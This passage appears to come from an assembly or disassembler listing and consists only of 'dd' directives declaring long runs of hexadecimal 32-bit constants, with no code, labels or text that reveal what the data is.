1330C0A0h, 807C3B50h, 5A004C71h, 0DF68DD62h dd 318191h, 7F9F2C34h, 325305EFh, 0A301A2E8h, 0E9D79DE0h dd 0F0807843h, 0C082085Eh, 42008598h, 6FBA2BDh, 147CEDh dd 0DCF0A0ABh, 0CADF1F22h, 0E0C51D06h, 0CB17BC3h, 0E968DA63h dd 4E60645Ch, 8CE1F750h, 0BB10082h, 97208DA0h, 41E8821h dd 0C34A8046h, 0FC8BB410h, 751580E2h, 60731871h, 9AB81842h dd 400E7B08h, 20044CCBh, 7E95A106h, 0AE220194h, 0EBA06C68h dd 0CC50C9F1h, 4100CFCEh, 0D0FA7D97h, 72A4AD4Ch, 0F05A1FC3h dd 76F800A9h, 43E263CEh, 0ADAF6900h, 2B93EDD7h, 3DF813h dd 0D8C5854Fh, 903588F9h, 50D1F400h, 84BE1D96h, 0B9480067h dd 9A32B205h, 2A727B9Dh, 23AD88C0h, 138917Fh, 0EA0AFA06h dd 0F89A9413h, 4B7BC425h, 9C7D691Bh, 0DE3D090h, 0EE030071h dd 3607388Fh, 0BA0016C2h, 56C41BF0h, 0ECAE8832h, 94150E3Fh dd 0B7A3184Eh, 0B2B04F5Eh, 221EE0FAh, 98014A7Eh, 0AC3AF3E7h dd 808058B9h, 9A77DCD2h, 6D007955h, 4EC2981Eh, 0CDEB11h dd 0C9852E9Bh, 7F4F8063h, 4CB8F675h, 0B011DF14h, 87F8008Ch dd 94ADA9CDh, 0B15E6150h, 828AFEBFh, 860B15E9h, 0C9DBE029h dd 66F50019h, 0D8D9D28Dh, 0FB1EED91h, 65C1D4A2h, 2F85FD75h dd 76D1AD0h, 6EE9D94Ch, 86800E1Bh, 681E595Bh, 61C9BE0Fh dd 41758069h, 2E66C322h, 0C01BA1Fh, 1A48BC6Eh, 4AD60F07h dd 27C0F419h, 0B64847h, 0A6EEAE2Dh, 555B6269h, 0D1FF5Ch dd 0D0BDC5E3h, 0A3C966h, 0D3E74D1h, 58F04B99h, 81037B7Ah dd 0E3AFBA1Eh, 0DA79008Dh, 0DF228699h, 503AF685h, 0A7200C1h dd 9D579A40h, 4C8A510Dh, 18A82C1Ch, 0A8415822h, 0FDF2EAE6h dd 8C156E06h, 0C1F36Fh, 0FCC318C6h, 0CC7E22Ah, 8143D814h dd 7E1B0F8Ch, 0DC2707C8h, 98209065h, 766DBEEh, 49773C22h dd 700160BBh, 0AF7B7312h, 8CE25E00h, 0B5724C64h, 446F0082h dd 33418A74h, 0C6008DB3h, 0E024E6BCh, 0FB66C7EDh, 40D12448h dd 30C0B913h, 59BDEEE1h, 0D07750BAh, 0A3831875h, 4E428840h dd 19976D36h, 0E10485B0h, 0FB0512EAh, 0DE3A2FE0h, 255C4B73h dd 0DB007AF3h, 5867838Ch, 4575BFh, 6FC3D866h, 1405E290h dd 0A67DB000h, 2B3AD959h, 0C0B23B5Ch, 6CF6D607h, 0CDDA077h dd 6400B151h, 7AF3861Eh dd 70BBD0h, 0ADE161DBh, 45D766C2h, 4AB8CD00h, 96C0C52Dh dd 162B761Eh, 1CFA262h, 0B4E5E75Eh, 0D45FE9B7h, 0DA00A9CAh dd 0A41293FFh, 0E65B10h, 214B7B88h, 0E5835D2Fh, 0A7D4710Fh dd 0CF24E0AFh, 4C80F01Ch, 87009494h, 50D59866h, 2D00174Eh dd 371D19D4h, 12A663C4h, 1FB39F5Eh, 0C5DB40A1h, 6CF10379h dd 0C890FD51h, 0A000AC50h, 199F624Ah, 13A932h, 0E09C9727h dd 0B3144446h, 0D834981Ch, 0E4A1E207h, 0D95B0B30h, 22A300E1h dd 0B31BA720h, 61005FB9h, 0DB951CB7h, 17EBF886h, 0ABA3F6D2h dd 970D7B07h, 315FC1D0h, 2D6C071Bh, 2001F7FAh, 0BAFB70D8h dd 6E8F9D04h, 6493D71Eh, 78076CEh, 8A147F2Ch, 834CC224h dd 9E3B8A0h, 7B07013Dh, 0BA10F02h, 0BD30C0DFh, 914490h dd 37E7571Eh, 480A5E26h, 0A297990Bh, 0E1FC007Fh, 0DC3956h dd 36A86867h, 931EB3ACh, 8CEEE09Fh, 0FF812E2h, 9E400048h dd 0BA883DD2h, 1D7E5A1Ch, 21097540h, 0C6BCFFh, 586BA90Dh dd 0B178B843h, 610279E6h, 17CA69B3h, 0C14848AAh, 18349044h dd 0C1DC8F67h, 0E907AD32h, 9B9E522h, 0E8808129h, 0C8304336h dd 356C1F70h, 633E809Ch, 7E8C11C6h, 0A2B62200h, 0CE6F2D1Fh dd 0FED50368h, 0DEB72829h, 884634E8h, 83DDC600h, 5BE876B1h dd 9D9F00D2h, 61574D52h, 0F401C808h, 0BF92106Dh, 5CE0E58Fh dd 0C56F0074h, 339FCD80h, 0CCFB4DE7h, 0B73B503Fh, 0BE888083h dd 0F16984D1h, 74E0000Bh, 0A1629AB0h, 0DF008B8Fh, 36CF6551h dd 2A8EF9h, 0BEB70FF3h, 0C675F2CBh, 99F4610Ch, 2C206Ch dd 0FD5146F8h, 18FA4074h, 661EB290h, 0B2808B1Dh, 96AC2A53h dd 5CF4E5h, 10BC34B5h, 0DF2146A9h, 1F555900h, 0E2279138h dd 94335019h, 31CF009Dh, 0CAF950D2h, 0E50FC07Dh, 0F369645Dh dd 82F7084Fh, 60CBF433h, 0C026F1BEh, 470A6A38h, 40003AC3h dd 7A842EBEh, 90DE25DCh, 0D870070h, 0F8155A4Dh, 0E1048CB6h dd 0D4A1C5C7h, 1EEDCC8h, 8592D19Ch, 20335CB8h, 0DF00B53Ch dd 46154B56h, 21D872h, 60C4CE4Dh, 0B53ED06Eh, 1FBC5E0Eh dd 20296Bh, 30194558h, 0FBE7C95h, 970E075h, 69972580h dd 0DF48D86Ch, 760403B2h, 0D0F47EE1h, 15572F8h, 1B29D32Ah dd 0D8BB53BDh, 2200C3E2h, 0F706B633h, 3618BA6h, 27BAC5C2h dd 3DA8A836h, 143DE905h, 26A68019h, 7773932Ah, 0D2F4395Ch dd 76D59A80h, 0CD47898Bh, 5DD0BA01h, 8FC1357Ch, 7D8EDFF8h dd 43601232h, 49D04785h, 77E0801Eh, 1700DFF7h, 0D33D0610h dd 0B84D61h, 0FCC1F04h, 0B388FFE5h, 1E761300h, 1C3BA938h dd 2C9F74F4h, 38DCE4h, 80E29979h, 0AB60EA36h, 56247FA4h dd 692100DAh, 4CD0BA7h, 0FE26C982h, 93001AF0h, 2C434684h dd 944E00C5h, 38B22E17h, 8E00E269h, 0F29ED4AAh, 0E0DA42h dd 0EBCEDD82h, 1502041h, 1002F107h, 7D81566Dh, 90CF32CBh dd 0EC96893Eh, 5AD9011Dh, 88791407h, 6F33D43Ch, 0BAB6B100h dd 5725F1Fh, 860D007Ah, 0B203AFB0h, 0B700C2F8h, 6E91E823h dd 59D8BD3h, 0A4998F66h, 0BF1C5Eh, 1902F803h, 902CB945h dd 0CD00436Bh, 92479D9h, 0A6D80070h, 2CEE46C9h, 0C1003F66h dd 0FD183A93h, 7EBADEEDh, 130B00C6h, 2C9CC64h, 7707B791h dd 0FB9F562h, 42DD7AF0h, 38184C13h, 896F1118h, 0FD01F199h dd 4410A6AEh, 80806A54h, 4A932CF3h, 75001E97h, 341CE0EBh dd 98A781h, 3AC7C58Eh, 0AD29588Ch, 3241E5Dh, 225BF22Dh dd 0F0D803B0h, 0C6A36037h, 6D760C7Ch, 0B8728000h, 4FDEAB14h dd 537E032Ah, 4C57A6FFh, 3CC54580h, 0D6245D00h, 0FF68E1Bh dd 0F00250E4h, 0D53000E1h, 5A7AFE56h, 0F51263DEh, 0A43099FCh dd 3C67559Ah, 0D3018769h, 95C175A8h, 0A8C0FE10h, 0C901B8ACh dd 808BFD8Eh, 24C85BF8h, 0C5E900E6h, 31D2A8A2h, 0E10005EFh dd 59C35419h, 4EDA76h, 0E5518026h, 655E8775h, 8E3E0B00h dd 2001BDACh, 64CA009Eh, 567A5BDDh, 0EB00062Ch, 865D51BAh dd 0EF99C6h, 3F2E6C9h, 5A64926Dh, 0E0DE1200h, 3A960683h dd 5E73F6h, 97F168ADh, 0F3CEA635h, 47737800h, 915DBCE0h dd 581C1E12h, 5CCC0BB4h, 0AE80F40Eh, 5B7A539Dh, 80EE762Eh dd 0E298DC00h, 8CF635h, 0AA9322D1h, 0D9C3FB24h, 88850200h dd 0EF9CDEBDh, 0B64707CDh, 10F7E493h, 0AFD07141h, 3F749907h dd 7770420h, 5D2E3BF0h, 82C600EAh, 46E2C94Ch, 0E7E41542h dd 7BF2AC7Ch, 0AE13F73Ah, 0E01DC135h, 496F3D02h, 86736028h dd 0F78A0021h, 0CF99CD51h, 0D105711Ah, 1B47FA08h, 872C53C0h dd 29810113h, 49C29AD2h, 605BC990h, 8D041150h, 5A0B08EEh dd 0D6862885h, 2AF10139h, 0C5D8F68h, 87FF075h, 6000094h dd 3CC3172Bh, 2AD400ADh, 1604F1FDh, 99022269h, 44683BC8h dd 40A842CBh, 0B22D7C89h, 91F2B4h, 9896F89Ch, 62245C36h dd 9D26D401h, 7C683578h, 30503421h, 0A7F092h, 1BC1FB2Bh dd 0C61A1E9Bh, 0CF8420EFh, 9E315689h, 59E1620h, 0A79AA1CCh dd 0C4CE06E5h, 590980D2h, 20E684E9h, 64034D98h, 2FB103ADh dd 2BC61678h, 6127A2E0h, 0E3A4C10Fh, 310FC055h, 50AA85h dd 0FFA77A17h, 7DF0B852h, 940B5C00h, 9B615599h, 7E5AB80Eh dd 20A304B0h, 0C828DF46h, 6C003524h, 1038F93Eh, 219C4A8h dd 9B8C2BB0h, 48C7475Eh, 0EC201C00h, 122E38EEh, 1599A44h dd 0E9A7D29Ch, 8C8ECC73h, 5A5879F4h, 0A6777438h, 6400FD77h dd 0AC3C75E7h, 3EE8FE25h, 29839F76h, 0DB72824Dh, 0FFE149D8h dd 6753B90Fh, 56560E4h, 0AC8DEh, 92BFD521h, 3B6C610Fh dd 5B489BFAh, 86A4A804h, 14086600h, 0AAE51031h, 1ADEE9Dh dd 1CC26B5Ch, 0C0EF36DBh, 0B128AEE4h, 3A708CD8h, 0BBB7CB01h dd 0C537EB31h, 0B12CF1FCh, 0D87F80DCh, 34355017h, 542B840Fh dd 0F8614078h, 4C8810h, 8CE6AD22h, 0B2FCAFD9h, 0F020889Bh dd 0CCDA480Bh, 263780F0h, 0D4F817h, 2FE433C1h, 9C3B9858h dd 0F4814500h, 4C79247Ch, 5D0D0E2Eh, 3C0B1D33h, 0F27A4880h dd 0FD4CCEF5h, 8174C77Ch, 0AAB8A2E0h, 84FB5C6Ch, 8BD93900h dd 69D3D486h, 5A40D700h, 90F29570h, 627401D0h, 86F17297h dd 4AB0E34Eh, 0A3E5DC3h, 34108173h, 0BDAD6F48h, 77D40960h dd 0DA9626E0h, 0EC440044h, 0D0C542EAh, 6EE85A00h, 503B2AC7h dd 0BF7000DFh, 5AA6D66h, 980F0A17h, 80FD2279h, 4D83ED16h dd 57270331h, 6C1A8BB0h, 0C1E0138Ah, 19000528h, 0DF4FF65h dd 0ECE63517h, 9E600BADh, 0CCA0CB92h, 8F308A03h, 6DF5FD00h dd 0E9C89C25h, 0EC010A06h, 0B8BDE0h, 0BAE2CC2Ah, 4101DFC7h dd 70DBFE39h, 0C4408AAFh, 1FEB9BEDh, 405D74CAh, 0D5C7B6BAh dd 23072E5Eh, 35806C06h, 0C059F4h, 53F90F78h, 2705F42Ch dd 0D2A54CCFh, 4C805B6Ch, 0F668D1BAh, 5C8058h, 3BCC6A84h dd 2437BE40h, 80BCE7A2h, 2C5234D1h, 0EE149E7Ah, 3CE8207Fh dd 1600FC04h, 32C2B6F8h, 0DF4739h, 0A3A7D08h, 0B043D414h dd 0FF5B66E4h, 72188EE8h, 0C6F8A06Ch, 0E9A58600h, 0A61B4629h dd 1FF21317h, 81604044h, 78997ED2h, 9B2D0900h, 0EA9A5630h dd 0BB6D07F1h, 8190585Dh, 305711F5h, 9617A8B8h, 0D80EDC01h dd 35FCC0C1h, 953ACDh, 6531B3E5h, 7953A258h, 0D06A0207h dd 5B40CB54h, 0F556E5DAh, 0A66DF0h, 126686DEh, 0BCA74A0Dh dd 8F6CC03h, 0C057B3DDh, 0D848F7h, 229C6A50h, 605B84B9h dd 54E1E607h, 150F5BFh dd 183F2EDh, 190D1069h, 0D499598Eh, 0C80F5621h, 0A0A074D5h dd 0A5F3C32Bh, 1FA1160Ah, 0D1F0116h, 0E40782C4h, 8C03F514h dd 4099F385h, 50E59A7Ah, 928100C8h, 0C784358Dh, 473E36D8h dd 6058D8C9h, 0A7617150h, 8D35009Dh, 0B125E3FAh, 87026638h dd 0BA48C85Fh, 0D47860D5h, 8B720B51h, 7421A4DDh, 0FCE21FADh dd 909EAE9Ah, 832EB686h, 57430F79h, 998EE6FFh, 1F946382h dd 15A314C0h, 0A11763Bh, 187E3D4Fh, 0B6E76B06h, 0DDE60349h dd 0C4E2C2ADh, 3DD7EBA0h, 0A6E8D21Ch, 0A59226C0h, 1EEE1A94h dd 74575E3h, 87C7ADF7h, 1EA7B033h, 0FAF09CD4h, 0F42A9105h dd 0E6C1AB22h, 40DEA5E3h, 7BA893Ah, 0CDC69ABDh, 8C0BD08Dh dd 0E63A150Eh, 80818045h, 89957182h, 69B33FD0h, 1B184386h dd 0E3E09098h, 0FB9AEA0Ch, 5A14B141h, 655C4CC2h, 0D6787E0h dd 45434D08h, 4C290E2Ch, 9F407B57h, 0F08E1C87h, 103A9D00h dd 9155134Fh, 48C30001h, 0DA640BBh, 0BC00F949h, 1EB71753h dd 19DC928h, 0A95B7032h, 40B5CB3Ah, 581524A8h, 0F50060FAh dd 63E1E9AEh, 1DDE6C93h, 4410A4F1h, 80725F62h, 0EAF63CDAh dd 64FBB109h, 41408EACh, 0A2B21C4Fh, 0F4A6D0h, 0EECA74A5h dd 7DD766B9h, 1000C45Bh, 4D0A44E3h, 0F370F320h, 2C41038Fh dd 0F9DCA7D1h, 60148DD1h, 7318547Dh, 9DF15BE6h, 2B091FACh dd 426940A0h, 0E48DCF46h, 0F396C500h, 984C72Eh, 0EA700EFh dd 32A304D2h, 6560E7BDh, 38440141h, 0BF200E0Fh, 0D100ED2Ch dd 8C1B6FFEh, 0CAD84D05h, 0BC004BC8h, 9BE67AD2h, 0B5A30F58h dd 684AD490h, 958200C8h, 4A6D1C73h, 0E7ED1804h, 274050E6h dd 8D6627Fh, 82599001h, 0A7F5E2A8h, 3A9CD1C8h, 3006B5Eh dd 0B3D2BFFEh, 84020DE4h, 0C70B01EBh, 558C81EAh, 186806C5h dd 40A2EE1Ch, 16B137A9h, 72180780h, 5728FD49h, 5DB70012h dd 0ACF953Dh, 0F900F3B2h, 386ADDE2h, 3E2FE3A0h, 0EE000BB0h dd 0CF4B359Ch, 0B83F1501h, 9D3C7698h, 886960C6h, 489A6Dh dd 65D85949h, 0EC0ABCCEh, 0C0997580h, 6F7D8430h, 0BF00B914h dd 0D11B01Ch, 87343E7h, 1A05E1Fh, 70AF6B41h, 0A83E1980h dd 87D14AD3h, 8B8C411Ch, 0C8C86F8Ah, 0BB992F80h, 0C0B3A582h dd 0EF967210h, 100BA0Eh, 3D21AF0Ch, 3CE78567h, 0D89C3CA3h dd 8A410042h, 0EE431479h, 86AC4700h, 0BE778D6Fh, 0B471007Bh dd 0ABA94EB9h, 830EFC08h, 0E70FC3EBh, 0A880C9CAh, 0A5AD19h dd 0F1C182D8h, 0D1AC8EB4h, 90D0260Eh, 0C0FBEFC9h, 0CEAB3C08h dd 0ED0E1CAFh, 0A60700BFh, 592E72BBh, 0D3007AE6h, 395E5CE0h dd 0FC6070E8h, 0C915005Ah, 9AABAF5Dh, 947333B2h, 1B39F200h dd 68FCA8DAh, 0AC850E88h, 0F800D332h, 0FFF13343h, 7EF99900h dd 85451B01h, 63E4C4h, 42DE125Ch, 53B4D3Fh, 5DEFA000h dd 18454698h, 716A01F7h, 0D25AE949h, 0FD4E0F8h, 5C4C4Ch dd 0C372148Bh, 2086DE6h, 0BFA69B0Ah, 22C060FBh, 851C3E6Eh dd 0AB403A8Ch, 1946C36Dh, 97FD03D9h, 72D74E1Ch, 0B66E5801h dd 8BC0AB32h, 46F54E80h, 0DA67D971h, 805C0E3Eh, 65580CFCh dd 0A936C0h, 0AF6CB77Fh, 77647E09h, 1B47EB00h, 0ECC3B2E7h dd 55F70026h, 839277Ch, 0CE0305F1h, 75AD0C06h, 0C801A1F9h dd 3A1CC060h, 3DBCB30Fh, 0CB6AB580h, 4F3BFB9Ch, 8926F8FEh dd 8B3F2866h, 86B28Ah, 2F6EA8AFh, 675AAh, 3A27996Fh, 90BB9E1Ah dd 0AEC21900h, 630E4B9Dh, 890AAh, 0C2F4967h, 0EA3FA1B2h dd 99005872h, 0A64AD983h, 48616254h, 711CDC1Ah, 0E7E040ABh dd 0AAB9241Fh, 7E89222Fh, 428A0721h, 0B48220CAh, 0C402C060h dd 0C8D83627h, 0CB436061h, 0BAC601ECh, 0C0B44CEFh, 0FC713164h dd 7200ADA7h, 6054191h, 18CFF6h, 6AF2E6A4h, 0DF87113Eh dd 0C9C32000h, 3F1DEB16h, 38E3004Ah, 0F901A74Fh, 7100FB12h dd 0CC0EB607h, 0FC7CBCDBh, 31E30779h, 0D0A6CBE1h, 0E6824ABFh dd 0FA008092h, 0C1B84CA0h, 531B6Ch, 1DC037C9h, 4ACA9E43h dd 0A40B6200h, 0F7D5C12Dh, 906A00E4h, 8CABB376h, 0DC000F2Eh dd 0DA4E0BA0h, 0B8E45B31h, 3C5B265h, 48709D49h, 0B2A1A5CDh dd 44FF885h, 0AA626F00h, 0CB7EE651h, 0EF63AA2h, 92972CF3h dd 2360040h, 563820C8h, 466D3D0Eh, 0C2A1006Bh, 6BDC14B2h dd 81FD691Bh, 0C02864C5h, 245117E4h, 90478Ah, 3B8FAABEh dd 9B04C80Dh, 0E8DE52F2h, 885DB483h, 3F939468h, 5F006EC1h dd 0B38A5611h, 593DC7C6h, 1CAF248Bh, 19393A80h, 794FE98h dd 0F5F37478h, 0FB8C0066h, 1E00A34Bh, 0A51DA01Ah, 9067CDCCh dd 1CEC7E17h, 13B0BF3h, 14ACC18Fh, 49502022h, 91845100h dd 0A4F6CEEFh, 0E28D00FFh, 417D3124h, 1960C76Ah, 21BC0328h dd 0C5D73098h, 0C29DE090h, 0C89BE700h, 41B693F2h, 6488002Fh dd 7B520638h, 0B0D27356h, 0F91C2B01h, 0D4E0C3CCh, 9417003Bh dd 0EAA27F3Fh, 5E50137Ah, 0B100779Ch, 3CCA3EF4h, 4CD5A3D7h dd 7927C0h, 0C99460EDh, 78EC3099h, 5798E470h, 0FC55E000h dd 0B84B018Ch, 526900F6h, 0C41C0CBFh, 0F1000342h, 0CAC2E59Ch dd 974980h, 352D3FDBh, 0E7CDC3F8h, 81855400h, 0A7933AAFh dd 1ED30048h, 24535B8Fh, 58003EC4h, 1AC95075h, 5D5A676h dd 0A36ECB35h, 878AC065h, 0BF007CC7h, 55D4CA01h, 736BEAh dd 45F2ED14h, 8AC32721h, 702D5901h, 37B83D58h, 7098F1FCh dd 0ADB700A9h, 0D1C88C06h, 877F3642h, 8D7E2507h, 48C0D7CEh dd 0F7201DC6h, 0A44175DDh, 0BFC83FD9h, 5E380390h, 974C8221h dd 44EE12B0h, 0EA4BD89Fh, 7D5B0030h, 7EA41348h, 91002CA6h dd 0AA892976h, 9C417h, 0EBA386A9h, 0B5CFB8B4h, 7A00C97Fh dd 95461611h, 659D13h, 0E179B3DCh, 0B28E6220h, 6E6C5A01h dd 0F247C125h, 761ADEFCh, 95490014h, 0A37B59FEh, 0FA001DEEh dd 183D354h, 9E965F6h, 4423F28Fh, 97520420h, 0F407B6DCh dd 25CFE8A0h, 0D06E3220h, 0A8750092h, 95031E77h, 1200B958h dd 8BA3D944h, 96F86Ch, 8D9A3BDAh, 0AEE72D78h, 50F921FAh dd 5089D0C0h, 0F0539103h, 0C03C412h, 0FB3EC1CCh, 94A44A78h dd 0A15A39h, 9C3AE310h, 422D3B0h, 41844FE7h, 9058C00Bh dd 15001463h, 0EE528D7Dh, 6F2EE6h, 3139EDC9h, 0B369061Eh dd 0DA237000h, 0B2DE2C59h, 16861E83h, 0EA770011h, 489FFBFh dd 4923C50Fh, 6952605Bh, 26EF01B0h, 3E7F293Dh, 5AC8CD00h dd 0E597825Ch, 952AD801h, 917B90F0h, 0A8C38443h, 0EE13164Bh dd 0EFF700CBh, 24F54CFDh, 0CA00EA99h, 0FEADFB3Bh, 3BD9Ah dd 0DA66320Dh, 985FC302h, 0D97FFF00h, 72F1FC9Bh, 0AF749Fh dd 2795DEE0h, 0D3EE6AF9h, 0EFD8B900h, 69DD94E2h, 81672CDAh dd 0CE6C0024h, 0A8315378h, 0E12158B7h, 37C4BE87h, 71813FE5h dd 0FE1948C0h, 0C0602C4Ah, 3C006FFCh, 5C2DD4E0h, 65B5D9h dd 2FCE2B3Fh, 7973A968h, 51020B00h, 0BA39FEF8h, 8FA8095Ch dd 0F88ECB3Dh, 0C4149BC3h, 0A2496A80h, 0DE4E801Eh, 0CF2A6D80h dd 0CDA79Ch, 0DB9F1D63h, 7C3AEF77h, 140E6F00h, 0C0E0978Eh dd 0ACBE01ECh, 257D41F2h, 2DC7D495h, 0C271E6F4h, 814E6B00h dd 0DBB476CAh, 80B726D4h, 1DC107A8h, 224C8182h, 45108F0Ah dd 0B45B02EFh, 8CA50008h, 5F0063EDh, 39018044h, 123E973h dd 4F568959h, 0C5A660A4h, 84EE1FAh, 0F412177Ch, 0AFE84E4Bh dd 473FCB40h, 0E10DDA1Dh, 0F9E2B087h, 0FB140880h, 7A540967h dd 3F90B700h dd 0E470623Ah, 0EFFA02DFh, 0CF144B73h, 5A07A448h, 8A194D00h dd 54E6E78Bh, 6E711CEBh, 0F9F6C7FDh, 4F80FEECh, 4EAFF65h dd 630A9500h, 10360621h, 0E044005Bh, 2F58D7C3h, 6CEE86AEh dd 60FAB700h, 0FF0C3BC2h, 0AB2D0050h, 0BE9ABC77h, 0BA00C7E9h dd 0EEC535FDh, 34732Eh, 66246B01h, 3D7E90CCh, 3E011571h dd 0F6CB2FA9h, 97EFE0DEh, 0EFFCDA70h, 900E006Dh, 0C73D0C56h dd 17005C39h, 6FE8ED46h, 0A133F7h, 0E27D4C1h, 19DE3420h dd 9F109B1Eh, 4EECA580h, 122CD9h, 0E40A03A8h, 323F793Dh dd 9AA7B03h, 0D81D252Dh, 1224E58h, 0FC6A8F5Bh, 500A2F29h dd 0A3DB2898h, 65EC438h, 0BF5DA4Ch, 21D96408h, 4A89C049h dd 0CA3FA918h, 3A32802Ah, 0C0C5CC25h, 0F0111958h, 184D5982h dd 0C7150F6Fh, 0C8905F13h, 3BAD80BCh, 8A8F0A15h, 0DBF9A7F8h dd 0FC80DFE2h, 531A9DD2h, 7AF0C85Dh, 0DE00CAEEh, 4B9805C1h dd 0E89A949Eh, 20D4606Ah, 4C983D9h, 2D00327Dh, 26C419D5h dd 33EC78F3h, 87016F5h, 456251D0h, 8FBC171Eh, 33918930h dd 0B21E03D1h, 1BB1DF0Ah, 0C38F8C90h, 44CE521Eh, 6ED118B0h dd 0E98D6198h, 875BFDAh, 77A313DEh, 0A0A3105Fh, 0A38182B0h dd 0D3F75Ch, 663C27BBh, 7C978BA2h, 0BC0A0091h, 0EF4C5558h dd 8A00F6F5h, 0D74FDBFFh, 7D5962h, 566E0418h, 8F4EA29Ah dd 9CB63000h, 1BA9598h, 2B730292h, 2C9DDA7Fh, 659500DFh dd 74CDC06h, 70749056h, 0AA6A2039h, 910019B1h, 2FAF17CBh dd 0A0243DB9h, 9088BABCh, 91104C9Eh, 5933A100h, 0DFBF2118h dd 0D88C9900h, 0E696F3Dh, 481503EFh, 0DE591647h, 42F31AF8h dd 0A25C5002h, 0C07AFD53h, 1F1923D8h, 0EA179B7h, 0EC03E9Eh dd 8DD05F92h, 0E27C887Eh, 0B1BCBB1Fh, 0E160B403h, 284C8FC6h dd 74FF0032h, 0F22854FDh, 17638702h, 5F1F08h, 7748B820h dd 14FD2A96h, 336A139h, 849DAA90h, 0B769017Fh, 86518E10h dd 0EE1180F8h, 21E80323h, 314A7F7Ah, 0CA08838Dh, 63789ECFh dd 5F951380h, 0C9ABBh, 966C26Ah, 0CFDF3A8Eh, 0D83BBD03h dd 9D4CACh, 0A9738730h, 0B1C59B28h, 298D3100h, 0DFF9A4A5h dd 0EAA0610h, 887F9DE3h, 85AC9021h, 0C4BF1394h, 744214Fh dd 0DFCE00CCh, 9F8F0004h, 0E129AE72h, 6F051650h, 0E373A85Dh dd 18A4B401h, 0A4542431h, 0E8F1BC03h, 0D2CC01Eh, 6EC3144Dh dd 6900C481h, 9FA8744Eh, 8007DF5Ch, 6ACEB851h, 0BB633050h dd 0AE0D00C0h, 50EE1606h, 0E21FEB35h, 685C0EECh, 47C537DDh dd 48C024CFh, 3DD6BAh, 0DD8BA4EAh, 5C28F20Bh, 0BD21C113h dd 4564C700h, 3EAF7h, 0A20BEC0Eh, 2230103Dh, 0A900E9E8h dd 2819CF24h, 7AD004h, 66913513h, 1FE332A5h, 0F4604001h dd 454AB37Dh, 71D590D0h, 3DDF0086h, 0EACB1262h, 0B600B2C9h dd 1437EB65h, 0D56FE5h, 0C8FB9E6Ah, 8C953401h, 2F1F2578h dd 0BE31BCh, 97ECA189h, 0D29EDh, 0FEA4598h, 3441255Fh dd 0EE278F01h, 0BED1FD78h, 17D561DDh, 458EE0h, 1BB63EA9h dd 0ED9A2797h, 8075AE3Dh, 5DD9F2D3h, 8F5ED5h, 72F75854h dd 4BAD2A99h, 71F2BDF4h, 0B6BADB00h, 0FC3C7421h, 0FB6C0330h dd 37B77E5Fh, 909996DFh, 0D80020F2h, 1F4161AFh, 600D0F4Fh dd 6BCC18C0h, 550E37C6h, 60639B8Eh, 685E8B7Fh, 0F379D3h dd 0D0971284h, 16A2A699h, 7FBA7B0Eh, 8E5B6032h, 6F0501h dd 0C457DC5Eh, 69D3F106h, 0AB021800h, 0AD0B197Ah, 0E8B00052h dd 7C1D8BF6h, 0D801146Ch, 34C66AFFh, 0A1809AFCh, 0C879F147h dd 10C04F2Fh, 0DD0E9DC3h, 64CA0045h, 9069F571h, 0DA000737h dd 0C657A355h, 67B9Eh, 0CF1CB340h, 0E54223B2h, 0D6805900h dd 7F51D54Bh, 62F40076h, 0C890F3FFh, 9F0A8BFAh, 0E48303F6h dd 0FCFDF100h, 68A26A9h, 3F2F1ADBh, 0BCB00834h, 474420C0h dd 380C94A9h, 600E2B3h, 587833DAh, 81008E9Ch, 0A2356532h dd 3E4FC57Ch, 0E30354B5h, 0D0609EF0h, 21C89DA0h, 47003E76h dd 393A41EFh, 0F4713D85h, 0C3488F2h, 0A1F3D000h, 59AB0AEFh dd 0D62800ACh, 5D35C904h, 5F2E3E7Ah, 7A3E7A42h, 0EADB0100h dd 116CA067h, 4D060C15h, 9DB0CA4Eh, 9A1C9278h, 103525EEh dd 0E793D701h, 5C30A209h, 9CC53AD5h, 9531E130h, 200107F7h dd 0AC387541h, 74C0F28Dh, 648638A7h, 52FAE580h, 0EF5FBE42h dd 21911D03h, 0E66F4E7Fh, 47C80040h, 0CD58CED5h, 5319D727h dd 0E2204CD8h, 76A9E180h, 6C257D26h, 0BCFEC2EAh, 98BA5600h dd 69DD3E9h, 9BD71824h, 41D1388Eh, 1C83F500h, 7C3B35Dh dd 0DD57006Ah, 0E255BF9Ch, 4403F670h, 22BEC4FBh, 0A820F8C6h dd 0BA690261h, 4FB28E90h, 0C9E300DFh, 24735452h, 0A1499Bh dd 75D934CEh, 1A0131AEh, 4A1F76DFh, 52D4F858h, 0DD0700E1h dd 0C81ECDCh, 7A1F55ADh, 0AAD6FC74h, 0E92C0900h, 92F630h dd 0A299EE49h, 0F1A508C9h, 3FD9E201h, 7A4C5A9Fh, 604DD0CFh dd 35670EA3h, 738374EFh, 42E853CCh, 0A70E2A1Ch, 0E0BA31ECh dd 0CD892887h, 0AFE20013h, 9043CC97h, 0A000836Dh, 60A2BCA3h dd 1CC03C37h, 403A9F3Eh, 24428D41h, 0E50F5398h, 0D840A2B6h dd 16D27021h, 0F83A343h, 41BD357Fh, 2C7A9E1Bh, 0AC8080B4h dd 6A8845FEh, 783202C5h, 50BAC201h, 69D630E0h, 4051500h dd 0C53FFAB8h, 0AC71C9h, 8CAD7B98h, 2E5BE694h, 0FFF218C6h dd 0A38307F0h, 90C6957Eh, 0FA63E6B0h, 0A2C9DA18h, 2B0A5A90h dd 1E908AA5h, 7FD4CB3Dh, 62903108h, 1B00B891h, 0E93A5Bh dd 702EC147h, 0A8D5FE81h, 0F2FF3Eh, 0C7CC33E0h, 54D89C9h dd 5F73C8DDh, 0E19C0092h, 0FCCB1D54h, 51D47A41h, 0A49C50B5h dd 9D6A00E7h, 87049391h, 0D4011CE3h, 0EA051E10h, 25C8BA45h dd 4EC900EEh, 21A02AA1h, 47006713h, 949395Ah, 180B9BBh dd 974B2F72h, 0E094600Eh, 30001484h, 0FD736AC9h, 263B9E7Ch dd 0CE198Eh, 561E2A86h, 6C00E40Ah, 0D348D87h, 1F39F7A6h dd 80F30207h, 7AEF8ACDh, 14003099h, 871091D3h, 279A4Eh dd 2DD2A0A3h, 0D7AA12Ah, 0DAE3FA1Ch, 12DF48C1h, 0A06AA729h dd 0B4008551h, 0EB23BC88h, 2F8C8Ah, 737DDF9Ch, 0DBA982D7h dd 31001F71h, 9F12E0EDh, 1EB30D83h, 0CE1D378h, 1F180ED2h dd 2162FC00h, 989697CFh, 0D769017Dh, 1D07C9BEh, 0E357F419h dd 3EC3F539h, 0A17280E7h, 866B5F14h, 57007DEh, 0D0A3132Dh dd 551121F2h, 0E5011C7Ch, 81020EBFh, 6880453Ch, 0A293FF5Eh dd 